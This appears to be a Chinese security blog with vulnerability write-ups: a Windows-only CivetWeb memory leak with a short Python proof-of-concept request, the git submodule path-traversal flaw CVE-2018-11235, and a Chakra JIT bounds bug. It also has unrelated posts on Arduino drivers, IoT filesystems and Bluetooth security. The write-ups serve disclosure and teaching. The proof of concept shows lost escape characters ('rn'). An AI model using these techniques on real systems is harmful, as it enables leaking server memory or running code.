Saturday, June 23, 2018

[03] 跨平台的代码实现问题

此问题是我在审计旧版本的libcivetweb库时发现,线上版本已在2017年之后的某个版本修复

mg_snprintf(conn, NULL, /* No truncation check for ebuf */ ebuf, sizeof(ebuf), “Bad HTTP version: [%s]”, ri->http_version);
mg_send_http_error(conn, 505, “%s”, ebuf);

这里,mg_snprintf() 是vsnprintf的Wrapper。需要注意的是,在Windows上,*snprintf族函数在输入长度>buf长度时,并不会添加。 参考MSDN (https://msdn.microsoft.com/en-us/library/2ts7cx93.aspx):

“The _snprintf family of functions only appends a terminating null character if the formatted string length is strictly less than count characters.”

所以,如果在Visual Studio和Windows环境下编译这段代码,然后发送一个错误的HTTP版本号,如HTTP/1.XXXXXXXXX(>sizeof(ebuf)) , 输出的字符串 “Bad HTTP version:[1.XXXXX” 将不会有结尾。

所以,当下一行被执行时,
mg_send_http_error(conn, 505, “%s”, ebuf);

这个字符串会发送给用户,注意这个字符串是没有结尾的,所以这里实际上会越界读取内容,并发送紧邻的内存数据,导致服务器内存信息泄露。

——————–英文版—————–

Multiple Information Leak Vulnerabilities on Windows Platform (Windows Only)

Please note this vulnerability is already fixed in early 2017, this is a report based on the older version (year 2014).

civetweb.c
mg_snprintf(conn, NULL, /* No truncation check for ebuf */ ebuf, sizeof(ebuf), “Bad HTTP version: [%s]”, ri->http_version);
mg_send_http_error(conn, 505, “%s”, ebuf);

mg_snprintf() is a wrapper for vsnprintf. Please note on Windows platform, *snprintf family functions will not add a terminating zero to the buffer if the length of input is larger or equal to the given length, as the MSDN (https://msdn.microsoft.com/en-us/library/2ts7cx93.aspx) says:

“The _snprintf family of functions only appends a terminating null character if the formatted string length is strictly less than count characters.”

So actually when you compile this code & run this code use Visual Studio & Windows, and send an HTTP request with malformed HTTP/1.XXXXXXXXX(>sizeof(ebuf)) , the output string “Bad HTTP version:[1.XXXXX” will be truncated and with no x00 append to it.

When the second line is being executed:

mg_send_http_error(conn, 505, “%s”, ebuf);

This string is send to HTTP buffer, and the memory data adjacent to “ebuf” will be leaking to the attacker. Other snprintf calls without mandatory adding terminating zero will also face to this problem.

PoC:

#!/bin/env python
import time
import socket

host1 = '127.0.0.1'
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host1, 8081))

data_to_send=("GET / HTTP/1." +  '1' * 120 + " rnContent-Length: 0rnrnrnrn")

print(data_to_send)
s.send(data_to_send)

while True:
    new = s.recv(4096)
    if not new:
      s.close()
      break
    print(new)

s.close()

Friday, June 1, 2018

[02] 路径穿越导致文件覆盖或非预期操作

https://github.com/Rogdham/CVE-2018-11235
https://blogs.msdn.microsoft.com/devops/2018/05/29/announcing-the-may-2018-git-security-vulnerability/

When you clone it with the –recurse-submodules flag, the evil script is executed:

$ git clone --recurse-submodules repo dest_dir
Cloning into 'dest_dir'...
done.
Submodule 'Spoon-Knife' (https://github.com/octocat/Spoon-Knife) registered for path 'Spoon-Knife'
Submodule '../../modules/evil' (https://github.com/octocat/Spoon-Knife) registered for path 'evil'
Cloning into '/snip/dest_dir/Spoon-Knife'...
Submodule path 'Spoon-Knife': checked out 'd0dd1f61b33d64e29d8bc1372a94ef6a2fee76a9'

sub module 包含 ../ 时,会发生路径穿越 ‘../../modules/evil’ ,将内容写入其他目录,并因此修改git的配置文件,执行远程代码。

修正:https://github.com/git/git/commit/0383bbb9015898cbc79abd7b64316484d7713b44 (submodule-config: verify submodule names as paths)
检查路径中的../

Sunday, May 20, 2018

[01] 假定信息状态数组与内存中真实情况相同

CVE-2018-0980 Microsoft Edge Chakra JIT - Bound Check Elimination Bug

代码片段:

if(hoistBlock != currentBlock)
{
    for(InvariantBlockBackwardIterator it(this, currentBlock->next, hoistBlock, nullptr);
        it.IsValid();
        it.MoveNext())
    {
        BasicBlock *const block = it.Block();
        ...
 

InvariantBlockBackwardIterator类用于反向遍历挂起的边界检查信息, 正常情况下, 程序应当按照内存中的真实环境去实施检查, 但是在ChakraCore有问题的代码中, 代码采用了遍历信息链表的方式去检查, 而没有理会真实的内存环境, 当链表中存在无效项时,即此时链表的信息与实际内存环境并不匹配,因此导致程序错误地处理了边界检查, 并导致内存损坏.

修正后代码:
https://github.com/Microsoft/ChakraCore/commit/af07d28d486843bbd1fdefe742a9c090026b32ee

PoC:
https://www.exploit-db.com/exploits/44653/

不安全的代码系列汇总

在此收集源自开源项目, 工程代码中的典型错误并汇总, 许多问题都非常具有典型意义, 在对其他代码审计时很有可能会有所帮助.

之后新增的文章会在此页面下给出跟踪链接.

转载请注明作者 Qian Wenxiang @ r0.to

[01] 假定信息状态数组与内存中真实情况相同 - http://r0.to/?x=entry:entry180520-133334

Saturday, March 24, 2018

向Arduino Nano(祖国版)中上传程序

主角是Arduino Nano,淘宝买的,十几块钱一个,低价果然代表这玩意不是正品,查阅网上资料可以发现,这个Nano使用的是WCH CH340G串口芯片组,而这个芯片也就是最明显的Arduino Nano clone(山寨版)。
8382c2436dd1794f9606684604324a10.jpg
在Windows上,插入以后系统可以正确识别,不过在Debian上,稍微有点问题。可能因为系统比较旧,插入以后不识别,后来找了找,发现有这么个http://www.wch.cn/download/CH341SER_LINUX_ZIP.html驱动。下载后,root权限下 make && make load 即可。
180324175324.png
安装完成后,重新插入USB设备,dmesg可以发现有提示已经载入。再重新打开Arduino IDE,发现仍然无法写入数据,执行chmod 777 /dev/ttyUSB0后,正确配置即可上传程序。

国产芯片真的很便宜……

Saturday, March 10, 2018

常见的IoT设备文件系统类型

ext2

ext 2或第二扩展文件系统是Linux内核的文件系统。它最初是由Rémy Card作为扩展文件系统(Ext)的替代品而设计的。它是根据与BSD的伯克利快速文件系统相同的原则设计的,它是linux的第一个商业级文件系统。
ext 2的规范实现是Linux内核中的“ext2fs”文件系统驱动程序。其他实现(质量和完整性各不相同)存在于GNUHurd、Minix 3、一些BSD内核、MINT以及第三方Microsoft Windows和MacOS驱动程序中。
ext 2是几个Linux发行版中的默认文件系统,包括Debian和Red Hat Linux,直到最近被ext 3所取代,ext 3几乎完全兼容ext 2,并且是一个日志文件系统。ext 2仍然是基于闪存的存储介质(如sd卡和usb闪存驱动器)的首选文件系统,因为它缺少日志,从而提高了性能并将写入次数降到最低,而且闪存设备的写入周期也有限。

分区标志:
Apple_UNIX_SVR2 (Apple Partition Map)
0×83 (Master Boot Record)
EBD0A0A2-B9E5-4433-87C0-68B6B72699C7 (GPT)

结构:
目录内容:Table
文件分配:bitmap (free space), table (metadata)
坏块:Table

限制:
最大卷大小:2–32 TiB
最大文件大小:16 GiB – 2 TiB
最大文件数量:10^18
最大文件名长度:255 bytes
文件名中允许的字符:除了 NUL ('’)和’/'之外的所有字符

特性:
会记录的日期:modification (mtime), attribute modification (ctime), access (atime)
日期区间:December 14, 1901 - January 18, 2038
时间最高精度:1 s
文件系统权限:POSIX
透明压缩:不支持 (通过补丁可用)
透明加密:不支持

YAFFS2

Yaffs(Yet Another Flash File System)是由新西兰怀特里夫的查尔斯·曼宁为Aleph One公司设计和编写的。
Yaffs 1是这个文件系统的第一个版本,它是为当前的NAND芯片设计的,芯片的页面大小为512字节(+16字节空闲(OOB,带外)空间)。工程于2002开始,并于同年晚些时候首次发布。最初的工作是由托比丘吉尔有限公司和光明之星工程公司赞助的。
这些旧的芯片通常还允许每页写2到3个周期。YAFFS利用了这一点:脏页是通过写入特定的备用区域字节来标记的。较新的NAND闪存芯片有更大的页面,第一个2K页(+64个字节OOB),后面的的4K,有更严格的写入要求。擦除块中的每个页面(128 KB)必须按顺序写入,每个页面必须只写一次。
YAFFS 2是为适应这些新芯片而设计的。它基于YAFFS 1源代码,其主要区别是内部结构不固定512字节大小,并且在每个写好的页面上放置一个块序列号。这样,旧页就可以在逻辑上被覆盖,而不会违反“写一次”规则。它于2003年底发布。

YAFFS是一个健壮的日志结构文件系统,它将数据完整性作为一项高优先级的目标。第二目标是高性能。YAFFS的性能通常会超过大多数替代产品。它也被设计成可移植的产品,并已用于Linux、WinCE、PSO、ecos、ThreadX和各种特殊用途操作系统。在没有OS、嵌入式操作系统或引导加载程序的情况下,使用了一个变体‘YAFFS/Direct’:它具有相同的核心文件系统,但与较高和较低级别的代码以及NAND闪存硬件交互的接口更简单。

YAFFS 2在概念上与YAFFS 1相似,共享大量相同的代码;YAFFS 2代码库通过向后兼容性支持YAFFS 1数据格式。主要的不同之处在于,YAFFS 2需要跨越显著的障碍,以满足现代NAND闪存的“只写一次”的要求。

YAFFS 2用一个单调递增的序列号标记每个新写的块。可以从块序号和块内的块偏移量推断块的序列。因此,当YAFFS 2扫描闪存并检测到具有相同ObjectID和SpringkNumbers的多个块时,它可以通过取最大序列号来选择使用哪个块。为了提高效率,YAFFS 2还引入了收缩头的概念。例如,当一个文件被调整到更小的大小时,YAFFS 1将把所有受影响的块标记为脏–由于“只写一次”规则,YAFFS 2不能这样做。相反,YAFFS 2写了一个“收缩标头”,这表示在这一点之前的一定数量的页面是无效的。这使YAFFS 2能够在系统重新启动时重构文件系统的最终状态。
YAFFS 2使用了NAND闪存的更抽象的定义,允许它用于具有不同几何形状、坏块处理规则的更广泛的闪存部件。
YAFFS 2后来增加了对检查点的支持,它绕过了正常的挂载扫描,可以达到非常快的挂载时间。

JFFS2

日志闪存文件系统版本2或JFFS 2是用于闪存设备的日志结构文件系统。它是JFFS的继承者。JFFS 2自2001年9月23日作为内核2.4.10版本的一部分合并到linux内核主线后就被包含到了linux内核中。JFFS 2也可用于一些引导加载程序,如DAS U-Boot、Open Firmware、Ecos RTOS和RedBoot。JFFS 2最著名的使用者是OpenWRT。

已经至少有三个文件系统作为JFFS 2的替代品:LogFS、UBIFS和YAFFS。

特性:
透明压缩:zlib, rubin、rtime

CramFS

压缩的ROM文件系统(CramFS)是一个免费的(GPL)只读Linux文件系统,旨在简化和节省空间。它主要用于嵌入式系统和小占用空间系统.。
与常规文件系统的压缩图像不同,可以按原样使用压缩图像,即无需首先解压缩它。因此,一些Linux发行版对initrd映像(特别是debian 3.1)和安装映像(特别是suse linux)使用临时内存,其中内存和映像大小都有限制。

文件系统设计:
文件系统上的文件是zlib压缩的,一次压缩一页,以允许随机读取访问。元数据不是压缩的,而是以比传统文件系统更节省空间的简洁表示形式表示的。
文件系统故意是只读的,以简化其设计;对压缩文件的随机写入访问很难实现。将文件打包到新的文件映像中的实用工具(mkcramfs)附带了一个新的文件压缩文件。
文件大小限制在16 MB以下。最大文件系统大小略低于272 MB。(文件系统上的最后一个文件必须在256 MB块之前开始,但可以扩展到超过256 MB块。)

SquashFS

squashfs是一个用于linux的压缩只读文件系统。squashfs压缩文件、inode和目录,并支持高达1MB的块大小以获得更大的压缩率。支持多种压缩算法。squashfs也是免费软件的名称,在GPL下获得许可,用于访问squashfs文件系统。
squashfs用于一般只读文件系统,并用于需要较低开销的受限块设备存储系统(例如嵌入式系统)。

Squashfs被Arch Linux、Debian、Fedora、Gentoo Linux、LinuxMint、Salix、Ubuntu的LiveCD版本以及诸如OpenWRT和DD-WRT路由器固件等嵌入式发行版使用。它还用于Chromecast和AndroidNougat的系统分区。它通常与联合挂载文件系统(如UnionFS、OverlayFS或aufs)相结合,为实时Linux发行版提供读写环境。这既利用了Squashfs的高速压缩功能,也利用了在从活动CD运行它时更改发行版的能力。DebianLive、Mandriva One、PuppyLinux、SalixLive和Slax等发行版使用这种组合。

Squashfs也被Linux终端服务器项目和Splashtop使用。工具unsquashfs和mksquashfs已经移植到WindowsNT-Windows8.1。7-Zip也支持Squashfs。

限制:
最大卷大小:16 EiB (2^64) bytes
最大文件大小:16 EiB (2^64) bytes
特性:
文件属性:POSIX以及扩展属性
透明压缩:gzip LZMA LZO LZMA2 LZ4

Wednesday, January 31, 2018

Overview of Bluetooth Security

From:
http://www.springer.com/cn/book/9783642406454

蓝牙的安全配置

基本的蓝牙安全配置由决定蓝牙设备如何实现其可连接性和可发现性选项的用户完成。
可连接性和可发现性功能的不同组合可分为三类,即三个安全级别:

1.Silence:设备永远不会接受任何连接。它只是监视蓝牙通信量。
2.Private:设备不能被发现,即它是一种所谓的不可发现的装置。只有在蓝牙设备地址(BD_ADDR)已知的情况下,才能接受连接。一个48位的BD_ADDR通常是唯一的,在全球范围内仅指一个单独的蓝牙设备.。
3.Public:设备既可以被发现,也可以连接到。因此,它被称为可发现的装置。

48位BD_ADDR分为三部分:16位非重要地址部分(NAP)、8位上地址部分(UAP)和24位下地址部分(LAP)。

BD_ADDR(NAP和UAP)的前三个字节引用蓝牙芯片的制造商并表示company_id。BD_ADDR(LAP)的最后三个字节(称为company_assigned)在不同的蓝牙设备模型中或多或少地随机使用。company_id值是公共信息,并被列在电气和电子工程师协会(IEEE)的组织唯一标识符(OUI)数据库中。

设备还可以实现四种不同的安全模式。在蓝牙技术中,设备一次只能处于下列安全模式之一:

1.不安全:蓝牙设备不启动任何安全措施。
2.服务级强制安全模式:两个蓝牙设备可以建立一个非安全的ACL链路。当向逻辑链路控制和适配协议(L2CAP)面向连接(CO)或L2CAP无连接(CL)信道请求时,启动安全过程,即身份验证、授权和可选加密。
3.链路级强制安全模式:在建立ACL链路时启动安全过程。
4.服务级强制安全模式+:这种模式与模式2类似,只是只有使用SSP的蓝牙设备才能使用它,即只有蓝牙2.1+EDR或更高版本的设备才能使用这种安全模式。

身份验证与加密

身份验证用于向另一个微微网设备证明身份。
身份验证的结果用于确定客户端的授权级别,这可以通过多种不同的方式实现:例如,可以授予所有服务的访问权,只能授予服务的子集,或者授予某些服务的访问权,而其他服务则需要额外的身份验证。

加密用于对蓝牙设备之间交换的信息进行编码,使窃听者无法读取其内容。
蓝牙使用Secure And Fast Encryption Routine+(SAFER+)和128位密钥作为认证和密钥生成算法,蓝牙版本高达3.0+HS(High Speed),而蓝牙4.0(即 Bluetooth Low Energy)用更安全的128位高级加密标准(AES)代替SAFER+。

SAFER+是由Massey等人于1998开发的。它被作为AES竞赛的候选提交,但密码没有被选入决赛。SAFER+是一种具有以下主要特性的分组密码:
·它有128位的块大小和三个不同的密钥长度(128、192和256位)。
·Safe+由九个阶段(八个相同的Round和输出转换)和一个密钥调度算法(KSA)组成,其方式如下:
A. KSA产生17个不同的128位子键.。
B. 每一轮使用两个子键和一个128位输入字从上一轮计算128位字,这作为下一轮的新的输入字。
C. 在输出转换中使用最后一个子键,这是上一轮输出和最后一个子键的一个简单的按位异或。

虽然可以有算法较快的破解SAFER+,它仍然被认为是相当安全的。

AES

AES由美国国家标准与技术研究所(NIST)于2001在AES竞赛的评估过程之后出版。Rijndael是比赛的获胜者,NIST选择它作为AES的算法。AES是一种对称分组密码,旨在取代数据加密标准(DES)作为广泛应用的公认标准,但这一过程将需要很多年。NIST预计,在可预见的将来,三重数据加密标准(3 DES)仍将是一种获得批准的算法,至少对于美国政府来说是如此。AES加密由10-14轮组成,其中数据块按以下方式一步一步地处理(最后一轮除外;值得注意的是,AES解密与AES加密是对称的):

1.Byte substitution:字节替换使用S盒来执行块的逐字节替换.。
2.Row shifting:行移位是一种简单的排列方式。
3.Column mixing:柱混合是在GF(28)上使用算术的一种替代。Galois Field,GF(28)是一个由256个元素组成的有限域,它可以用8 bit为单位组成的字符串或十六进制表示法来表示。
4.Round key adding:Round key adding是当前块的简单按位XOR,其中包含部分扩展键。

最后一轮AES加密(和AES解密)略有不同:
1.Byte substitution。
2.Row shifting。
3.Round key adding。

AES被认为是安全的,它非常快速和紧凑(大约1 kB的代码),它的块大小是32的倍数(通常是128位),它的密钥长度也是32倍(通常是128、192或256位),并且它具有非常简洁的代数描述。

配对

由于蓝牙是一种无线通信系统,所以攻击者总是有可能故意阻塞或拦截传输,或者将虚假或修改过的信息传递给微微网设备。蓝牙安全是建立在事件链的基础上的,这些事件都不应该为窃听者提供有意义的信息。为了成功地确保安全性,所有事件都必须按特定顺序发生。

为了让两个蓝牙设备开始通信,必须执行一个称为配对的过程。作为配对的结果,两个设备形成一个可信的对,并建立一个链接密钥,该链接密钥稍后用于为每个会话创建一个数据加密密钥。
在2.0+EDR的蓝牙版本中,配对完全基于两个设备共享相同的个人识别码(PIN),即密码,用于生成多个128位密钥。当用户在两个设备中输入相同的密钥时,设备产生相同的共享密钥,用于对它们交换的通信量进行身份验证和加密。当蓝牙设备第一次见面时会生成一个初始化密钥(Kinit),它用于保护其他更安全的128位密钥的生成,这些密钥是在安全事件链的下一阶段生成的。Kinit由128位伪随机数IN_RAND、L-byte(1≤L≤16)PIN码和BD_ADDR导出。值得注意的是,IN_RAND是以未加密的形式通过无线发送的。

某个键生成函数的输出可以用函数本身及其输入来表示。Kinit是在这两种设备中使用公式Kinit=E22(PIN‘,L’,IN_RAND)产生的。PIN码及其长度L在发送到E22函数之前,被修改为两个不同的量,称为PIN‘和L’。如果PIN小于16字节,则通过从设备的BD_ADDR中追加字节,直到PIN‘达到16字节的总长度或整个BD_ADDR都被追加进去,以二者中先发生的为准。如果一个设备有固定的PIN代码,则使用另一个设备的BD_ADDR。
如果两个设备都可以支持可变的PIN代码,则使用接收IN_RAND的设备的BD_ADDR。Kinit用于加密128位伪随机数(RAND或LK_RAND),即在生成链路密钥(单位密钥或组合密钥)时在事件安全链的下一阶段交换的RAND⊕ Kinit或LK_RAND⊕ Kinit 。

使用公式Ka=E21(BD_Addra,Randa),仅从一个设备(设备A)的信息中生成单位密钥(Unit Key, KA)。设备A用Kinit加密KA。即:KA ⊕ Kinit并且发送给设备B,设备B用Kinit解密KA,即:(KA ⊕ Kinit) ⊕ Kinit = KA。现在两个设备都有相同的KA作为Link Key了。

使用Unit Key的蓝牙设备只有一个Key用于其所有连接。这意味着同一密钥将与所有其他可信蓝牙设备共享。此外,任何使用相同Unit Key的可信蓝牙设备都可以窃听共享相同Unit Key的其他两个蓝牙设备之间的任何通信数据。
此外,任何使用相同Unit Key的可信蓝牙设备都可以通过复制其BD_ADDR来模拟目标设备。因此,只有资源有限的设备(即设备无法存储多个密钥),才应该使用KA,因为它只提供了较低的安全性。因此,蓝牙规范不再推荐使用KA。

组合密钥(Combination Key, KAB)依赖于两个设备,因此它是从两个设备的信息中导出的。在这两种设备中,KAB都使用公式KAB=E21(BD_ADDRA,LK_RANDA)⊕(BD_ADDRB,LK_RANDB)。值得注意的是,生成KAB只不过是两个Unit Key之间的一个简单的位XOR,KAB=KA⊕KB。每个设备都可以产生自己的Unit Key,每个设备也具有另一个设备的BD_ADDR。因此,两个设备必须只交换各自的伪随机数才能生成彼此的单位密钥。

设备A用当前密钥K加密LK_Randa,即LK_Randa⊕K,其中K可以是先前创建的Kinit、KA或KAB,并将其发送给设备B。如果设备第一次一起创建链接密钥,则K是Kinit。如果Link Key被升级为Combination Key,则K为KA,并且如果正在更改Link Key,则为KAB。
设备B用K解密LK_RANDA,即:(LK_RANDA ⊕ K) ⊕ K = LK_RANDA 现在可以生产KA。相应地,设备B用K加密LK_RANDB,也就是(LK_RANDB ⊕ K) ⊕ K = LK_RANDB,并发送给设备A。设备A用K解密 LK_RANDB 即 (LK_RANDB ⊕ K) ⊕ K = LK_RANDB,生成KB。最后,这两种设备都可以用KB XOR KA产生KAB,即KAB=KA ⊕ KB。

事件安全链的下一阶段是挑战响应身份验证,其中检查claimant对秘密链接密钥的知识。 在每次认证期间,一个新的128位伪随机数AU_RAND通过无线以未加密的形式交换。身份验证函数E1的其他输入是claimant的BD_ADDR和当前的链接密钥(KA或KAB)。在这两种设备中,通过E1(AU_Randa,BD_ADDRB,Link Key)函数产生32位结果(SRES,签名响应)和96位结果(ACO,认证加密偏移),其中链路密钥为KA或KAB。

Claimant以未加密的形式将SRES’发送给验证者。SRES’即Claimant产生的SRES值。验证器将生成的SRES值与接收到的SRES值进行比较,如果这些值匹配,则成功地完成身份验证。
当生成加密密钥时,ACO将用于事件安全链的下一阶段。
值得注意的是,SRES和SRES‘是32位值,而不是128位值。32位SRES提供了合理的保护,防止攻击者试图猜测值,同时也减少了PIN代码被能使用各种方式确定正确SRES值的攻击者破坏的可能性。

ACO、当前链路密钥(Ka或KAB)和128位伪随机数en_RAND是用于生成加密密钥(KC)的加密密钥生成函数E3的输入。master(设备A)生成EN_RAND,并以未加密的形式通过无线将其发送给slave设备(设备B)。
KC是使用公式KC=E3(EN_RAND,ACO,Link Key)在两个设备中产生的,其中Link Key是KA或KAB。密钥流生成器函数E0通过在两个设备中生成相同的密码比特流或密钥流(也称为运行密钥),因此可以进行对称加密。
E0函数的输入是KC、主时钟的BD_ADDR(BD_ADDRA)和主时钟的26位(CLK 26-1)。密钥流由E0(KC,CLK 26-1,BD_ADDRA)函数生成,该函数对每个新发送或接收的基带数据包重新初始化,即对每个新的基带数据包更新CLK 26-1。
这意味着对E0函数的输入永远不会比一个基带分组的寿命长,因此蓝牙设备会为每个新的Baseband数据包生成一个新的密钥流。

发送方通过使用密钥流(即Plaintext⊕Keystream = Ciphertext)对明文进行加密,并将生成的密文发送给接收方。
接收方通过使用相同的密钥流对密文进行解密,即Ciphertext⊕Keystream =(Plaintext⊕Keystream)⊕Keystream = Plaintext。
值得注意的是,只有蓝牙基带数据包的有效负载是加密的(而不是访问代码或报头)。因此,攻击者不能使用访问代码和报头的定期重复信息(攻击者很容易猜测),以便于对密码进行密码分析。
正如本章已经讨论过的,PIN是蓝牙2.0+EDR版本中共享秘密的唯一熵源。由于PIN通常只包含四个十进制数字,因此产生的密钥的强度不足以防止通信中的被动窃听。即使使用更长的16个字符字母数字PIN,也无法实现对主动窃听的全面保护:已经证明,可以对蓝牙通信执行MITM攻击(版本可达2.0+EDR)。

MITM

让我们假设Alice和Bob是相互通信的,他们希望使用一些公钥加密方法来保护他们的通信。在MITM攻击中,Mallory(攻击者)入侵了Alice和Bob之间的通信。Mallory可以窃听消息、修改消息、删除消息,并在Alice和Bob之间生成新消息,这样他的存在就不会被暴露,也就是说,Alice和Bob不知道它们之间的链接被Mallory破坏了。Mallory在和Alice说话时也能模仿Bob,反之亦然。这个MITM攻击的简单示例的工作方式如下:

1.爱丽丝把她的公钥发给鲍勃,但马洛里能够截取它。马洛里送给鲍勃他自己的公钥,他有匹配的私钥。现在鲍勃错误地认为他有爱丽丝的公钥。

2.鲍勃把他的公钥寄给爱丽丝,但马洛里能截取它。 马洛里送给爱丽丝他自己的公钥,他有匹配的私钥。现在爱丽丝错误地认为她有鲍勃的公钥。

3.Alice向Bob发送了一条用Mallory的公钥加密的消息,但是Mallory能够拦截它。Mallory用他的私钥解密消息,保存消息的副本,用Bob的公钥重新加密消息,并将消息发送给Bob。现在鲍勃错误地认为这消息直接来自爱丽丝。

4.Bob向Alice发送了一条用Mallory的公钥加密的消息,但是Mallory能够拦截它。 Mallory用他的私钥解密消息,保存消息的副本,用Alice的公钥重新加密消息,并将消息发送给Alice。现在,爱丽丝错误地认为这消息是直接来自鲍勃的。即使Alice和Bob的公钥存储在数据库中,MITM攻击也能工作。

Mallory可以拦截Alice(或Bob)的数据库查询,并将自己的公钥替换为Bob(或Alice)的公钥。 他还可以以某种方式侵入数据库,并将其密钥替换为Alice的公钥和Bob的公钥。 MITM攻击起作用,因为Alice和Bob无法验证他们是否真正使用了对方的正确公钥。如果马洛里没有造成任何明显的沟通延误,爱丽丝和鲍勃不知道马洛里已经入侵了他们之间的会话。

在没有公钥验证的情况下,MITM攻击通常(原则上)可以针对使用公钥技术发送的任何消息。解决这一问题的一个办法是使用公钥证书(也称为数字身份证书),它使用数字签名将公钥与其各自用户的信息,即用户姓名、用户地址等信息绑定在一起。每个用户都与受信任的授权机构、证书颁发机构(CA)相关联,并且每个证书都是由这样的CA创建的。证书在用户与其公钥之间建立可验证的连接。用户知道他们的CA的公钥,因此他们可以验证他们的CA的签名。证书存储在目录中,而且只允许CA在此目录中写入,但是CA的所有用户都可以读取目录中的信息。

针对MITM攻击的防御使用基于公钥证书、双向身份验证(也称为相互身份验证)、密钥、密码和其他方法(如语音识别和其他生物识别)的身份验证技术。蓝牙版本2.1+EDR,3.0+HS和4.0为配对过程增加了一个新的指定,即SSP。它的主要目的是通过提供对被动窃听和MITM攻击的保护来提高配对的安全性。SSP使用椭圆曲线Diffie-Hellman(ECDH)公钥密码技术,而不是使用(通常是短的)密钥作为建立链接密钥的唯一熵源。要构造Link Key,设备使用公共-私钥对、一些非CES和设备的蓝牙地址。被动窃听被SSP有效地阻止了,因为对一个拥有大约95位熵的私钥进行彻底的搜索目前被认为在合理的时间内是不可行的。为了防止MITM攻击,SSP要么使用OOB通道(例如近场通信,NFC),要么请求用户的帮助:例如,当两种设备都有显示器和键盘时,用户被要求比较两位数的数字。这样的比较也可以被认为是不受MITM控制的OOB信道。如果配对过程中使用的值被MITM篡改,则6位完整性校验和的校验概率为0.999999。

SSP配对模型

SSP使用四种配对模型。除了前面提到的两个配对模型,OOB和数字比较,还定义了名为Passkey Entry和Just Works的模型。
当一个设备具有输入功能,但没有显示六位数的屏幕时,使用Passkey入口配对模型。在具有输出能力的设备上,向用户显示六位数校验和,并要求用户在具有输入能力的设备上输入该校验和。

如果两个设备都有输入功能,但没有输出功能,则还使用Passkey条目配对模型。在这种情况下,用户选择一个6位数的校验和,并在两个设备中输入它。

最后,如果至少有一个设备既没有输入也没有输出能力,并且不能使用OOB,则使用 Just Works模型。在这个模型中,用户不需要执行任何对数字的操作:相反,设备可能只是要求用户接受连接。

配对模型的选择取决于设备功能,如下表:

LIST
LIST
LIST

DisplayYesNo表示该设备有显示器,并且至少有两个映射到“是”和“否”的按钮:使用这些按钮,用户可以接受或拒绝连接。
表中的其他符号是不言自明的。SSP由六个阶段组成:

1.功能交换:以前从未见过或出于某种原因想要重新配对的设备,首先交换它们的输入/输出(IO)功能(见上表),以确定要使用的适当的配对模型。
2.公钥交换:设备产生公钥对,并将公钥发送给对方。他们也计算了Diffie-Hellman Key。
3.认证阶段1:在此阶段运行的协议依赖于配对模型。这一阶段的目标之一是确保在设备之间的通信中没有MITM。这是通过使用一系列的非CES、对非CES的承诺以及通过OOB通道或在用户的帮助下执行的完整性校验和的最终检查来实现的。
4.认证阶段2:设备完成值的交换(公钥和非CES)并验证它们的完整性。
5.链路密钥计算:各方使用蓝牙地址、先前交换的值和第二阶段构造的Diffie-Hellman密钥计算链路密钥。
6.LMP认证和加密:在此阶段生成加密密钥,这与直到2.0+EDR的蓝牙版本配对步骤相同。

图中概述了在SSP阶段发送的消息的内容,下表解释了所使用的符号。

尽管SSP提高了蓝牙配对的安全性,但是通过强制受害者设备使用Just Work配对模型,可以实现对蓝牙2.1+EDR、3.0+HS和4.0设备的MITM攻击。此外,至少有一项针对蓝牙SSP的MITM攻击已经在实践中见过。因此,需要进一步提高SSP的安全性。